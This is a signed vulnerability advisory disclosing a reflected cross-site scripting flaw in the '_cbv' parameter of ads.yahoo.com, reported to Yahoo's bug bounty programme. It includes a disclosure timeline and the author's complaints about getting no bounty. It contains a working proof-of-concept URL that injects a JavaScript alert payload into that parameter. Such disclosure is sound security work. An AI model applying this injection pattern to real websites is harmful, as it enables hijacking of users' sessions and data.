Yahoo ads.yahoo.com Cross Site Scripting

`  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
In Nov ?13 I reported a Cross-site Scripting vulnerability to the Yahoo  
Bug Bounty Program. As for my other reports, I?ve got no response or  
feedback,  
so I wrote a message to them via email this time ... and so on ... blah  
blah :)  
  
To cut a long story short, for all my reports the communication with  
Yahoo was really bad and of course: No bounty!  
  
Advisory: Yahoo Bug Bounty Program Vulnerability #1  
XSS on ads.yahoo.com  
Advisory ID: SSCHADV2013-YahooBB-001  
Author: Stefan Schurtz  
Affected Software: Successfully tested on ads.yahoo.com  
Vendor URL: http://yahoo.com/  
Vendor Status: Seems to be fixed  
Bounty: nothing  
  
==========================  
Vulnerability Description  
==========================  
  
The '_cbv'-Paramter on "http://ads.yahoo.com" is prone to a Cross-site  
Scripting vulnerability  
  
==========================  
PoC-Exploit  
==========================  
  
http://ads.yahoo.com/st?ad_type=iframe&ad_size=300x250&site=1181425&section_code=112260532&  
cb=1385497647.226089&publisher_blob=${RS}|gmGLFTE4OC4mbYnzUpH6dwEQOTMuMlKVBC__yxq4  
|2143911627|LREC2|1385497647.226089&yud=smpv%3d3%26ed%3dzxE1dF31xQzMnXQidpJpWNtP  
OVygJhcHBknzVCnpTraLTXtt8jO7OEVYpCbxEhJcwmU2x.ekTqffsDUVYgceDTs.NijijL.tGPKwsdRUsLvxftzYGe  
.0VUghSSHioqjLjQJ7KaidIocpC1oj2SKC4lg_EhLiMsmgXiq6wbNVL_VzG1fHxP77ptF04VC7jL7lL1vr0iRs.r6  
8cRSLiFUFzH_pvnaxUy8-&_msd=1&_xcf=1&_exv=RDnhGI4wnN7uv.jS65VPBVAFmZBbevIBHZGnRIl5vxDV&_msig=10sorm5kd&rmxbkn=0&_cbv=132025816&81c91"-alert(document.domain)-"1580bfdcb31=1  
  
==========================  
Disclosure Timeline  
==========================  
  
28-Nov-2013 - vendor informed by contact form (Yahoo Bug Bounty Program)  
31-Dec-2013 - next message to the Yahoo Securiy Contact  
04-Jan-2014 - feedback from vendor  
04-Jan-2014 - vendor informed again about the three vulnerabilities  
06-Jan-2014 - feedback from vendor  
15-Jan-2014 - contact with Jeff Zingler (Threat Response @ Yahoo)  
16-Jan-2013 - contact with Jeff Zingler (Threat Response @ Yahoo) //  
last contact  
  
==========================  
Credits  
==========================  
  
Vulnerability found and advisory written by Stefan Schurtz.  
  
==========================  
References  
==========================  
  
http://yahoo.com/  
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2013-YahooBB-001.txt  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.12 (GNU/Linux)  
  
iEYEARECAAYFAlMa754ACgkQg3svV2LcbMCOdwCeIA7oMkSnPBbwwWTDlQRV4igR  
YcsAnim2G2fNSu42X8E2PXfSM2TNFqd9  
=G3sf  
-----END PGP SIGNATURE-----  
  
`